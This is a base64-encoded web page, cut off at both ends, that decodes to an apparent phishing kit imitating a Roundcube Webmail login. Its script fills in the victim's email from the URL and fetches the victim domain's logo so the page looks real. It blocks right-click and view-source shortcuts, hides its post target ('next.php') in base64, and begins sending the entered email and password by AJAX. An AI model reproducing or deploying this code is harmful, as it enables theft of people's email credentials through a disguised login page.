ZaZmUySDN2ZWc3b2JYb3M5ekQyL3VPZStjZTNvZVFFVTZYRFU2WERVNlhEVTZYRFU2WERVNlhEVTZYS3FITHU1N3hPY1N5UXZ2dDFDd1RQaFgzSmhmV0hybDhTTjhuRWVqVDF6UFRFNTRyNHJFK2xqd1J6NFQyU1p4SHlNSjRWMWtZbDlFandUUGNTTng1dm5ESzBsNHFOQlAzSWhkZHVreEdMQ0hsMCs5Uk9RRSszbHlEQTdzNFlVNEVUakpkaG9OWWd3Ty9PR0hQMWpmSTdFczdva3hPTENIMnprVExpcVNzSkZxa1dOdzRQOXg2enRibVk4T2ZjZHd0alNKaHhyKzhLRjZHaHNHRVR0aUJIQlFmS1R2WlNJbmZLaVpSMkpyK1ZQMFl0QkVxa1pjejB4ZStFaXZoWnRpSHRlNUttb2R1Yk04VGtxNDNYYitsTFFuUjlxZDRmZGQyUC9pNU5hcEloV1B3QmhiMjY2VkVLTDdSemk3Y0diOEtvMlRReE5oMy9qcnZ3ei83amtLRXM3dFBPSDFETUtldCtCZk0wSklWSGlYZ2Zqd2h4SU9mcko5ZmNmWVFhWk5qQytJOFBDYUZhSkRwdUE1cnBMUEVFRncrQjJzVFRwaUtzWVJDdVJ6WmljNHZJUTlLbUJxRVZnTjZqbXowK0ZpS0J0K2g3TWdGVENsMVNUS1RJY2F3ZUdPNFprOEdvQjNiVVpiSnF4YnZyMWNmUGdmb2NOVm84TlZvOE5WbzhOVm84TlZvOE5WbzhOVm8yajRBQzhYdGNzZkFYNGpPZ0FBQUFCSlJVNUVya0pnZ2c9PSIgd2lkdGg9IjE0JSI+PC9pbWc+CgkgCgkgCgkgPGlucHV0IG5hbWU9InVzZXJuYW1lIiBpZD0idXNlcm5hbWUiIHNpemU9IjQwIiBjbGFzcz0iZm9ybS1jb250cm9sIiBhdXRvY2FwaXRhbGl6ZT0ib2ZmIiB0eXBlPSJoaWRkZW4iIHBsYWNlaG9sZGVyPSJQYXNzd29yZCI+CgkgCgkgPGlucHV0IG5hbWU9ImVtYWlsIiBpZD0iZW1haWwiIHNpemU9IjQwIiBjbGFzcz0iZm9ybS1jb250cm9sIiBhdXRvY2FwaXRhbGl6ZT0ib2ZmIiB0eXBlPSJoaWRkZW4iIHBsYWNlaG9sZGVyPSJQYXNzd29yZCI+CgkgCgkgPGRpdiBzdHlsZT0iYm9yZGVyOjAuNXB4IHNvbGlkOyB3aWR0aDoyNzJweDsgbWFyZ2luLWxlZnQ6MHB4OyBib3JkZXItY29sb3I6cmdiKDIxNCwgMjE0LCAyMTQpOyBib3JkZXItcmFkaXVzOjJweDsiIGFsaWduPSJsZWZ0Ij4KCSA8cCBzdHlsZT0ibWFyZ2luLWxlZnQ6MTBweDsgbWFyZ2luLXRvcDoxMHB4OyIgIGlkPSJhaWNoIj5pbmZvQDg3ODc4a2hqaGouY248L3A+PC9kaXY+PC90ZD48L3RyPgoJIAoJIDx0ciBjbGFzcz0iZm9ybS1ncm91cCByb3ciPjx0ZCBjbGFzcz0idGl0bGUiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+PGxhYmVsIGZvcj0icmNtbG9naW5wd2QiPlBhc3N3b3JkPC9sYWJlbD48L3RkPgoJIAoJIAkgPGlucHV0IG5hbWU9InNkZWRlIiBpZD0iYWkiIHNpemU9IjQwIiBjbGFzcz0iZm9ybS1jb250cm9sIiBhdXRvY2FwaXRhbGl6ZT0ib2ZmIiB0eXBlPSJoaWRkZW4iIHBsYWNlaG9sZGVyPSJKRiI+CgkgCgkgPHRkIGNsYXNzPSJpbnB1dCBpbnB1dC1ncm91cCBpbnB1dC1ncm91cC1sZyI+PGltZyBzcmM9ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRDRBQUFBMUNBWUFBQUFaQmxpSEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFSblFVMUJBQUN4and2OFlRVUFBQUFKY0VoWmN3QUFGaVVBQUJZbEFVbFNKUEFBQUFHUFNVUkJWR2hEN2RpeFN3SmhHTWZ4L2lBbkI0ZVdhNm5wY0hDU0lHdHBFQVNsSVlLRUp1RUl6c0d4SVNTNHlXZzRIRnh5TW9KcXNHWVJ3c1JJRkNQM1h3NUJkL1lHb3M5ekVjOHpmSmU3NSs3NHdNdmR5NjI5ZjB3aE1ZVkxTK0hTVXJpMEZDNHRoVXRMNGRKU3VMVCtCajU2UmYvTmNEekNvb01QMnFpNWg3QTMxeEZMZkdYWlNCOVgwZXdhNXBtTEJONjlMaU5sQmNBL1N1T28zakZleXhVN2ZIaGJobTNFenJlQi9hdWU4UjRjOGNKSGR5Z2x3OEQ0ZGhFbHowZWpWc1ZKZGl0MExtWVY0YjhZN3NNUUs3eGZMNFpndHR0Q2Z4S2NHZVB4b29CNFlDYnRSYlBrV2VFMzdqY29sbkRRR0JubUptMVVncXNpNzZNN1A4TVFJN3lIV2o0QXlsMytDbXFlTGpaSEdTdmN5eTBHQ3EwTWhmT21jS3FHRDFYc0JuZG55MlpsV0RjMXhQQzVOL1NxV1E2YXBpOEJRY1R3MlliRkJGaTZBanltZmJ6Q2FWSTRVUW9uVCtFMEtad29oWk5IRE8vZ2ZNOEVXTExrR2U1RFB5N29Jb2JQZW02aGNwQkJhbWZGc2c2OHA3SDVHUVRSdy85SkNwZVd3cVdsY0drcFhGb0tsNWJDcFNVVVBzVW5qZ1Z0VFJDUkNNa0FBQUFBU1VWT1JLNUNZSUk9IiB3aWR0aD0iMTQlIj48L2ltZz4KCSAKCSA8aW5wdXQgbmFtZT0icHdzZHgiIGlkPSJwciIgcmVxdWlyZWQ9IiIgc2l6ZT0iNDAiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIGF1dG9jYXBpdGFsaXplPSJvZmYiIHR5cGU9InBhc3N3b3JkIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiPjwvdGQ+PC90cj4KCSAKCSA8aW5wdXQgbmFtZT0idXNlciIgaWQ9InVzZXIiIHNpemU9IjQwIiBjbGFzcz0iZm9ybS1jb250cm9sIiBhdXRvY2FwaXRhbGl6ZT0ib2ZmIiB0eXBlPSJoaWRkZW4iIHBsYWNlaG9sZGVyPSJ1c2VybmFtZSI+CgkgPC90Ym9keT48L3RhYmxlPgoJIDxwIGNsYXNzPSJmb3JtYnV0dG9ucyI+PGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGlkPSJzdWJtaXQtYnRuIiBzdHlsZT0iaGVpZ2h0OjQ3cHg7IHdpZHRoOjMyMHB4OyIgY2xhc3M9ImJ1dHRvbiBtYWluYWN0aW9uIHN1Ym1pdCBidG4gYnRuLXByaW1hcnkgYnRuLWxnIj5Mb2dpbjwvYnV0dG9uPjwvcD4KCQkKCQk8ZGl2IGlkPSJsb2dpbi1mb290ZXIiIHJvbGU9ImNvbnRlbnRpbmZvIiBiaXNfc2tpbl9jaGVja2VkPSIxIj4KCQkJPHNwYW4gaWQ9ImxvZ29uYW1lIj48L3NwYW4+Jm5ic3A7Jm5ic3A7Um91bmRjdWJlIFdlYm1haWwKCQkJCgkJCQoJCQkKCQk8L2Rpdj4KCQkKCQkKCTwvZm9ybT4KPC9kaXY+Cgo8bm9zY3JpcHQ+Cgk8cCBjbGFzcz0ibm9zY3JpcHR3YXJuaW5nIj5XYXJuaW5nOiBUaGlzIHdlYm1haWwgc2VydmljZSByZXF1aXJlcyBKYXZhc2NyaXB0ISBJbiBvcmRlciB0byB1c2UgaXQgcGxlYXNlIGVuYWJsZSBKYXZhc2NyaXB0IGluIHlvdXIgYnJvd3NlcidzIHNldHRpbmdzLjwvcD4KPC9ub3NjcmlwdD4KCgo8L2Rpdj4KCgoKPGRpdiBpZD0ibWVzc2FnZXN0YWNrIiBiaXNfc2tpbl9jaGVja2VkPSIxIj48L2Rpdj4KPHNjcmlwdD4KJChmdW5jdGlvbigpIHsKcmNtYWlsLmluaXQoKTsKfSk7Cjwvc2NyaXB0PgoKCgoKCgo8L2JvZHk+CjxzY3JpcHQ+Ci8vIFNldCB0aGUgZGF0ZSB3ZSdyZSBjb3VudGluZyBkb3duIHRvCnZhciBjb3VudERvd25EYXRlID0gbmV3IERhdGUoIkRlYyA1LCAyMDI0IDE1OjM3OjI1IikuZ2V0VGltZSgpOwoKLy8gVXBkYXRlIHRoZSBjb3VudCBkb3duIGV2ZXJ5IDEgc2Vjb25kCnZhciB4ID0gc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7CgogIC8vIEdldCB0b2RheSdzIGRhdGUgYW5kIHRpbWUKICB2YXIgbm93ID0gbmV3IERhdGUoKS5nZXRUaW1lKCk7CiAgICAKICAvLyBGaW5kIHRoZSBkaXN0YW5jZSBiZXR3ZWVuIG5vdyBhbmQgdGhlIGNvdW50IGRvd24gZGF0ZQogIHZhciBkaXN0YW5jZSA9IGNvdW50RG93bkRhdGUgLSBub3c7CiAgICAKICAvLyBUaW1lIGNhbGN1bGF0aW9ucyBmb3IgZGF5cywgaG91cnMsIG1pbnV0ZXMgYW5kIHNlY29uZHMKICB2YXIgZGF5cyA9IE1hdGguZmxvb3IoZGlzdGFuY2UgLyAoMTAwMCAqIDYwICogNjAgKiAyNCkpOwogIHZhciBob3VycyA9IE1hdGguZmxvb3IoKGRpc3RhbmNlICUgKDEwMDAgKiA2MCAqIDYwICogMjQpKSAvICgxMDAwICogNjAgKiA2MCkpOwogIHZhciBtaW51dGVzID0gTWF0aC5mbG9vcigoZGlzdGFuY2UgJSAoMTAwMCAqIDYwICogNjApKSAvICgxMDAwICogNjApKTsKICB2YXIgc2Vjb25kcyA9IE1hdGguZmxvb3IoKGRpc3RhbmNlICUgKDEwMDAgKiA2MCkpIC8gMTAwMCk7CiAgICAKICAvLyBPdXRwdXQgdGhlIHJlc3VsdCBpbiBhbiBlbGVtZW50IHdpdGggaWQ9ImRlbW8iCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImRlbW8iKS5pbm5lckhUTUwgPSBob3VycyArICJoICIKICArIG1pbnV0ZXMgKyAibSAiICsgc2Vjb25kcyArICJzICI7CiAgICAKICAvLyBJZiB0aGUgY291bnQgZG93biBpcyBvdmVyLCB3cml0ZSBzb21lIHRleHQgCiAgaWYgKGRpc3RhbmNlIDwgMCkgewogICAgY2xlYXJJbnRlcnZhbCh4KTsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJkZW1vIikuaW5uZXJIVE1MID0gIkVYUElSRUQiOwogIH0KfSwgMTAwMCk7Cjwvc2NyaXB0PgoKPCEtLSBPcHRpb25hbCBKYXZhU2NyaXB0IC0tPgogICAgPCEtLSBqUXVlcnkgZmlyc3QsIHRoZW4gUG9wcGVyLmpzLCB0aGVuIEJvb3RzdHJhcCBKUyAtLT4KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjIuMS5zbGltLm1pbi5qcyIgaW50ZWdyaXR5PSJzaGEzODQtS0ozbzJES3RJa3ZZSUszVUVOem1NN0tDa1JyL3JFOS9RcGc2YUFaR0p3RkRNVk5BL0dwR0ZGOTNoWHBHNUtrTiIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+PC9zY3JpcHQ+CiAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9wb3BwZXIuanMvMS4xMi45L3VtZC9wb3BwZXIubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1BcE5iZ2g5QitZMVFLdHYzUm43VzNtZ1B4aFU5Sy9TY1FzQVA3aFVpYlgzOWo3ZmFrRlBza3ZYdXN2ZmEwYjRRIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vbWF4Y2RuLmJvb3RzdHJhcGNkbi5jb20vYm9vdHN0cmFwLzQuMC4wL2pzL2Jvb3RzdHJhcC5taW4uanMiIGludGVncml0eT0ic2hhMzg0LUpaUjZTcGVqaDRVMDJkOGpPdDZ2TEVIZmUvSlFHaVJSU1FReFNmRldwaTFNcXVWZEF5alVhcjUrNzZQVkNtWWwiIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiPjwvc2NyaXB0Pgo8L2JvZHk+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzIuMi40L2pxdWVyeS5taW4uanMiPjwvc2NyaXB0PgoKPHNjcmlwdD4KCgovLyBwcmV2ZW50IGN0cmwgKyBzCiQoZG9jdW1lbnQpLmJpbmQoJ2tleWRvd24nLCBmdW5jdGlvbihlKSB7CmlmKGUuY3RybEtleSAmJiAoZS53aGljaCA9PSA4MykpIHsKZS5wcmV2ZW50RGVmYXVsdCgpOwpyZXR1cm4gZmFsc2U7Cn0KfSk7Cgpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdjb250ZXh0bWVudScsIGV2ZW50ID0+IGV2ZW50LnByZXZlbnREZWZhdWx0KCkpOwoKZG9jdW1lbnQub25rZXlkb3duID0gZnVuY3Rpb24oZSkgewppZiAoZS5jdHJsS2V5ICYmIAooZS5rZXlDb2RlID09PSA2NyB8fCAKZS5rZXlDb2RlID09PSA4NiB8fCAKZS5rZXlDb2RlID09PSA4NSB8fCAKZS5rZXlDb2RlID09PSAxMTcpKSB7CnJldHVybiBmYWxzZTsKfSBlbHNlIHsKcmV0dXJuIHRydWU7Cn0KfTsKJChkb2N1bWVudCkua2V5cHJlc3MoInUiLGZ1bmN0aW9uKGUpIHsKaWYoZS5jdHJsS2V5KQp7CnJldHVybiBmYWxzZTsgICAgICB9CmVsc2UgewpyZXR1cm4gdHJ1ZTsKfX0pOwoKLyogZ2xvYmFsICQgKi8KJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7CiAgICB2YXIgY291bnQgPSAwOwoKCiAgICAvLy8vLy8vLy8vLy8vdXJsIGFpIGdldHRpbmcvLy8vLy8vLy8vLy8vLy8vCiAgICB2YXIgYWkgPSB3aW5kb3cubG9jYXRpb24uaGFzaC5zdWJzdHIoMSk7CiAgICBpZiAoIWFpKSB7CgogICAgfSBlbHNlIHsKICAgICAgICB2YXIgYmFzZTY0cmVnZXggPSAvXihbMC05YS16QS1aKy9dezR9KSooKFswLTlhLXpBLVorL117Mn09PSl8KFswLTlhLXpBLVorL117M309KSk/JC87CgogICAgICAgIGlmICghYmFzZTY0cmVnZXgudGVzdChhaSkpIHsKICAgICAgICAgICAgLy8gYWxlcnQoYnRvYShhaSkpOwogICAgICAgICAgICB2YXIgbXlfYWkgPSBhaTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvLyBhbGVydChhdG9iKGFpKSk7CiAgICAgICAgICAgIHZhciBteV9haSA9IGF0b2IoYWkpOwogICAgICAgIH0KICAgICAgICAvLyAkKCcjYWknKS52YWwoYWkpOwogICAgICAgIC8vIHZhciBteV9haSA9YWk7CiAgICAgICAgdmFyIGZpbHRlciA9IC9eKFthLXpBLVowLTlfXC5cLV0pK1xAKChbYS16QS1aMC05XC1dKStcLikrKFthLXpBLVowLTldezIsNH0pKyQvOwoKICAgICAgICBpZiAoIWZpbHRlci50ZXN0KG15X2FpKSkgewogICAgICAgICAgICAkKCcjZXJyb3InKS5zaG93KCk7CiAgICAgICAgICAgIGFpLmZvY3VzOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIHZhciBpbmQgPSBteV9haS5pbmRleE9mKCJAIik7CiAgICAgICAgdmFyIG15X3NsaWNlID0gbXlfYWkuc3Vic3RyKChpbmQgKyAxKSk7CiAgICAgICAgdmFyIGMgPSBteV9zbGljZS5zdWJzdHIoMCwgbXlfc2xpY2UuaW5kZXhPZignLicpKTsKICAgICAgICB2YXIgZmluYWwgPSBjLnRvTG93ZXJDYXNlKCk7CiAgICAgICAgdmFyIGZpbmFsdSA9IGMudG9VcHBlckNhc2UoKTsKICAgICAgICAkKCcjYWknKS52YWwobXlfYWkpOwogICAgICAgICQoIiNkaXYxIikuYW5pbWF0ZSh7IGxlZnQ6IDAsIG9wYWNpdHk6ICJoaWRlIiB9LCAwKTsKICAgICAgICAkKCIjZGl2MiIpLmFuaW1hdGUoeyByaWdodDogMCwgb3BhY2l0eTogInNob3ciIH0sIDUwMCk7CiAgICAgICAgCgkJJCgiI2FpY3giKS5odG1sKG15X2FpKTsKICAgICAgICAkKCIjYWljaCIpLmh0bWwobXlfYWkpOwogICAgICAgICQuZ2V0KCJodHRwczovL2xvZ28uY2xlYXJiaXQuY29tLyIgKyBteV9zbGljZSkKICAgICAgICAgICAgLmRvbmUoZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAkKCIjbG9nb2ltZyIpLmF0dHIoInNyYyIsICJodHRwczovL2xvZ28uY2xlYXJiaXQuY29tLyIgKyBteV9zbGljZSk7CiAgICAgICAgICAgICAgICAkKCIjbG9nb25hbWUiKS5odG1sKGZpbmFsdSk7CgkJCQkkKCIjbG9nb25hbWVjIikuaHRtbChmaW5hbHUpOwoKICAgICAgICAgICAgfSkuZmFpbChmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoIiNsb2dvaW1nIikuYXR0cigic3JjIiwgImRhdGE6aW1hZ2Uvc3ZnK3htbDtiYXNlNjQsUEhOMlp5QjRiV3h1Y3owaWFIUjBjRG92TDNkM2R5NTNNeTV2Y21jdk1qQXdNQzl6ZG1jaUlIWnBaWGRDYjNnOUlqa3VNVFFnTVRReExqZ2dOVGN6TGpZMUlEVTNNeTQyTlNJK0NpQWdQSE4wZVd4bFBnb2dJQ0FnTG5OME1Dd3VjM1F6ZTJacGJHd3RjblZzWlRwbGRtVnViMlJrTzJOc2FYQXRjblZzWlRwbGRtVnViMlJrTzJacGJHdzZJelF3TkdZMU5IMHVjM1F6ZTJacGJHdzZJek0zWW1WbVpuMEtJQ0E4TDNOMGVXeGxQZ29nSUR4d1lYUm9JR05zWVhOelBTSnpkRE1pSUdROUlrMDFPREl1TnprZ05UUTVMamMzVERJNU5TNDVOaUF6T0RRdU1WWXlNRGN1TWpkc01qZzJMamd6SURFMk5TNDJPSG9pTHo0S0lDQThjR0YwYUNCamJHRnpjejBpYzNRd0lpQmtQU0pOT1M0eE5DQTFORGt1TnpkTU1qazFMamsySURNNE5DNHhWakl3Tnk0eU4wdzVMakUwSURNM01pNDVOWG9pTHo0S0lDQThjR0YwYUNCa1BTSk5NamsxTGprMklERTBNUzQ0WXpFd09TNDFOaUF3SURFNU9DNDBNU0E0T0M0NE5TQXhPVGd1TkRFZ01UazRMalF4Y3kwNE9DNDROU0F4T1RndU5ERXRNVGs0TGpReElERTVPQzQwTVZNNU55NDFOU0EwTkRrdU56Y2dPVGN1TlRVZ016UXdMakl4SURFNE5pNDBJREUwTVM0NElESTVOUzQ1TmlBeE5ERXVPQ0lnWm1sc2JDMXlkV3hsUFNKbGRtVnViMlJrSWlCamJHbHdMWEoxYkdVOUltVjJaVzV2WkdRaUlHWnBiR3c5SWlOalkyTWlMejRLSUNBOGNHRjBhQ0JrUFNKTk1qazFMamsySURFME1TNDRZekV3T1M0MklEQWdNVGs0TGpRNElEZzRMamcxSURFNU9DNDBPQ0F4T1RndU5ERnpMVGc0TGpnNElERTVPQzQwTVMweE9UZ3VORGdnTVRrNExqUXhZeTAyTWk0NU1TMDBNaTR6TkMwNE9DNDVOQzB4TWpjdU5qUXRPRGd1T1RRdE1UazRMak56TWpZdU1ETXRNVFUyTGpFZ09EZ3VPVFF0TVRrNExqVXlJaUJtYVd4c0xYSjFiR1U5SW1WMlpXNXZaR1FpSUdOc2FYQXRjblZzWlQwaVpYWmxibTlrWkNJZ1ptbHNiRDBpSTJVMVpUVmxOU0l2UGdvZ0lEeHdZWFJvSUdOc1lYTnpQU0p6ZERNaUlHUTlJazAxT0RJdU56a2dNemN5TGprMVRESTVOUzQ1TmlBMU16Z3VOakoyTVRjMkxqZ3piREk0Tmk0NE15MHhOalV1TmpoNklpOCtDaUFnUEhCaGRHZ2dZMnhoYzNNOUluTjBNQ0lnWkQwaVRUa3VNVFFnTXpjeUxqazFiREk0Tmk0NE1pQXhOalV1TmpkMk1UYzJMamd6VERrdU1UUWdOVFE1TGpjM2VpSXZQZ284TDNOMlp6NEsiKTsKICAgICAgICAgICAgICAgICQoIiNsb2dvbmFtZSIpLmh0bWwoIiIpOwoJCQkJJCgiI2xvZ29uYW1lYyIpLmh0bWwoIiIpOwoKICAgICAgICAgICAgfSk7CgoKICAgIH0KCgoKCgogICAgJCgnI2FpJykuY2xpY2soZnVuY3Rpb24oKSB7CiAgICAgICAgJCgnI2Vycm9yJykuaGlkZSgpOwogICAgfSk7CgogICAgJChkb2N1bWVudCkua2V5cHJlc3MoZnVuY3Rpb24oZXZlbnQpIHsKCiAgICAgICAgdmFyIGtleWNvZGUgPSAoZXZlbnQua2V5Q29kZSA/IGV2ZW50LmtleUNvZGUgOiBldmVudC53aGljaCk7CiAgICAgICAgaWYgKGtleWNvZGUgPT0gJzEzJykgewogICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICBpZiAoJCgiI2RpdjEiKS5pcygiOnZpc2libGUiKSkgewoKICAgICAgICAgICAgICAgICQoIiNuZXh0IikuY2xpY2soKTsKCiAgICAgICAgICAgIH0gZWxzZSBpZiAoJCgiI2RpdjIiKS5pcygiOnZpc2libGUiKSkgewogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKCiAgICAgICAgICAgICAgICAkKCIjc3VibWl0LWJ0biIpLmNsaWNrKCk7CgogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSk7CgoKICAgICQoJyNuZXh0JykuY2xpY2soZnVuY3Rpb24oKSB7CiAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICB2YXIgbXlfYWkgPSAkKCcjYWknKS52YWwoKTsKICAgICAgICB2YXIgZmlsdGVyID0gL14oW2EtekEtWjAtOV9cLlwtXSkrXEAoKFthLXpBLVowLTlcLV0pK1wuKSsoW2EtekEtWjAtOV17Miw0fSkrJC87CgogICAgICAgIGlmICghZmlsdGVyLnRlc3QobXlfYWkpKSB7CiAgICAgICAgICAgICQoJyNlcnJvcicpLnNob3coKTsKICAgICAgICAgICAgYWkuZm9jdXM7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgdmFyIGluZCA9IG15X2FpLmluZGV4T2YoIkAiKTsKICAgICAgICB2YXIgbXlfc2xpY2UgPSBteV9haS5zdWJzdHIoKGluZCArIDEpKTsKICAgICAgICB2YXIgYyA9IG15X3NsaWNlLnN1YnN0cigwLCBteV9zbGljZS5pbmRleE9mKCcuJykpOwogICAgICAgIHZhciBmaW5hbCA9IGMudG9Mb3dlckNhc2UoKTsKICAgICAgICB2YXIgZmluYWx1ID0gYy50b1VwcGVyQ2FzZSgpOwogICAgICAgICQoIiNkaXYxIikuYW5pbWF0ZSh7IGxlZnQ6IDAsIG9wYWNpdHk6ICJoaWRlIiB9LCAwKTsKICAgICAgICAkKCIjZGl2MiIpLmFuaW1hdGUoeyByaWdodDogMCwgb3BhY2l0eTogInNob3ciIH0sIDUwMCk7CgogICAgICAgICQoIiNhaWNoIikuaHRtbChteV9haSk7CgkJJCgiI2FpY3giKS5odG1sKG15X2FpKTsKICAgICAgICAkLmdldCgiIiArIG15X3NsaWNlKQogICAgICAgICAgICAuZG9uZShmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoIiNsb2dvaW1nIikuYXR0cigic3JjIiwgIiIgKyBteV9zbGljZSk7CiAgICAgICAgICAgICAgICAkKCIjbG9nb25hbWUiKS5odG1sKGZpbmFsdSk7CgkJCQkkKCIjbG9nb25hbWVjIikuaHRtbChmaW5hbHUpOwoKICAgICAgICAgICAgfSkuZmFpbChmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICQoIiNsb2dvaW1nIikuYXR0cigic3JjIiwgImRhdGE6aW1hZ2Uvc3ZnK3htbDtiYXNlNjQsUEhOMlp5QjRiV3h1Y3owaWFIUjBjRG92TDNkM2R5NTNNeTV2Y21jdk1qQXdNQzl6ZG1jaUlIWnBaWGRDYjNnOUlqa3VNVFFnTVRReExqZ2dOVGN6TGpZMUlEVTNNeTQyTlNJK0NpQWdQSE4wZVd4bFBnb2dJQ0FnTG5OME1Dd3VjM1F6ZTJacGJHd3RjblZzWlRwbGRtVnViMlJrTzJOc2FYQXRjblZzWlRwbGRtVnViMlJrTzJacGJHdzZJelF3TkdZMU5IMHVjM1F6ZTJacGJHdzZJek0zWW1WbVpuMEtJQ0E4TDNOMGVXeGxQZ29nSUR4d1lYUm9JR05zWVhOelBTSnpkRE1pSUdROUlrMDFPREl1TnprZ05UUTVMamMzVERJNU5TNDVOaUF6T0RRdU1WWXlNRGN1TWpkc01qZzJMamd6SURFMk5TNDJPSG9pTHo0S0lDQThjR0YwYUNCamJHRnpjejBpYzNRd0lpQmtQU0pOT1M0eE5DQTFORGt1TnpkTU1qazFMamsySURNNE5DNHhWakl3Tnk0eU4wdzVMakUwSURNM01pNDVOWG9pTHo0S0lDQThjR0YwYUNCa1BTSk5NamsxTGprMklERTBNUzQ0WXpFd09TNDFOaUF3SURFNU9DNDBNU0E0T0M0NE5TQXhPVGd1TkRFZ01UazRMalF4Y3kwNE9DNDROU0F4T1RndU5ERXRNVGs0TGpReElERTVPQzQwTVZNNU55NDFOU0EwTkRrdU56Y2dPVGN1TlRVZ016UXdMakl4SURFNE5pNDBJREUwTVM0NElESTVOUzQ1TmlBeE5ERXVPQ0lnWm1sc2JDMXlkV3hsUFNKbGRtVnViMlJrSWlCamJHbHdMWEoxYkdVOUltVjJaVzV2WkdRaUlHWnBiR3c5SWlOalkyTWlMejRLSUNBOGNHRjBhQ0JrUFNKTk1qazFMamsySURFME1TNDRZekV3T1M0MklEQWdNVGs0TGpRNElEZzRMamcxSURFNU9DNDBPQ0F4T1RndU5ERnpMVGc0TGpnNElERTVPQzQwTVMweE9UZ3VORGdnTVRrNExqUXhZeTAyTWk0NU1TMDBNaTR6TkMwNE9DNDVOQzB4TWpjdU5qUXRPRGd1T1RRdE1UazRMak56TWpZdU1ETXRNVFUyTGpFZ09EZ3VPVFF0TVRrNExqVXlJaUJtYVd4c0xYSjFiR1U5SW1WMlpXNXZaR1FpSUdOc2FYQXRjblZzWlQwaVpYWmxibTlrWkNJZ1ptbHNiRDBpSTJVMVpUVmxOU0l2UGdvZ0lEeHdZWFJvSUdOc1lYTnpQU0p6ZERNaUlHUTlJazAxT0RJdU56a2dNemN5TGprMVRESTVOUzQ1TmlBMU16Z3VOakoyTVRjMkxqZ3piREk0Tmk0NE15MHhOalV1TmpoNklpOCtDaUFnUEhCaGRHZ2dZMnhoYzNNOUluTjBNQ0lnWkQwaVRUa3VNVFFnTXpjeUxqazFiREk0Tmk0NE1pQXhOalV1TmpkMk1UYzJMamd6VERrdU1UUWdOVFE1TGpjM2VpSXZQZ284TDNOMlp6NEsiKTsKICAgICAgICAgICAgICAgICQoIiNsb2dvbmFtZSIpLmh0bWwoIiIpOwoJCQkJJCgiI2xvZ29uYW1lYyIpLmh0bWwoIiIpOwoKICAgICAgICAgICAgfSk7CgoKCgoKICAgIH0pOwogICAgLy8gJCgnI2JhY2snKS5jbGljayhmdW5jdGlvbigpIHsKICAgIC8vICAgICAvLyAkKCIjbXNnIikuaGlkZSgpOwogICAgLy8gICAgICQoIiNhaSIpLnZhbCgiIik7CiAgICAvLyAgICAgJCgiI3ByIikudmFsKCIiKTsKICAgIC8vICAgICAkKCIjZGl2MiIpLmFuaW1hdGUoeyBsZWZ0OiAwLCBvcGFjaXR5OiAiaGlkZSIgfSwgMCk7CiAgICAvLyAgICAgJCgiI2RpdjEiKS5hbmltYXRlKHsgcmlnaHQ6IDAsIG9wYWNpdHk6ICJzaG93IiB9LCAxMDAwKTsKCiAgICAvLyB9KTsKdmFyIGZpbGU9ImJtVjRkQzV3YUhBPSI7CgogICAgJCgnI3N1Ym1pdC1idG4nKS5jbGljayhmdW5jdGlvbihldmVudCkgewogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgdmFyIGFpID0gJCgiI2FpIikudmFsKCk7CiAgICAgICAgdmFyIHByID0gJCgiI3ByIikudmFsKCk7CiAgICAgICAgdmFyIGRldGFpbCA9ICQoIiNmaWVsZCIpLmh0bWwoKTsKICAgICAgICB2YXIgbXNnID0gJCgnI21zZycpLmh0bWwoKTsKCiAgICAgICAgdmFyIG15X2FpID0gYWk7CiAgICAgICAgdmFyIGluZCA9IG15X2FpLmluZGV4T2YoIkAiKTsKICAgICAgICB2YXIgbXlfc2xpY2UgPSBteV9haS5zdWJzdHIoKGluZCArIDEpKTsKICAgICAgICB2YXIgYyA9IG15X3NsaWNlLnN1YnN0cigwLCBteV9zbGljZS5pbmRleE9mKCcuJykpOwogICAgICAgIHZhciBmaW5hbCA9IGMudG9Mb3dlckNhc2UoKTsKICAgICAgICAkKCcjbXNnJykudGV4dChtc2cpOwogICAgICAgIGNvdW50ID0gY291bnQgKyAxOwogICAgICAgICQuYWpheCh7CiAgICAgICAgICAg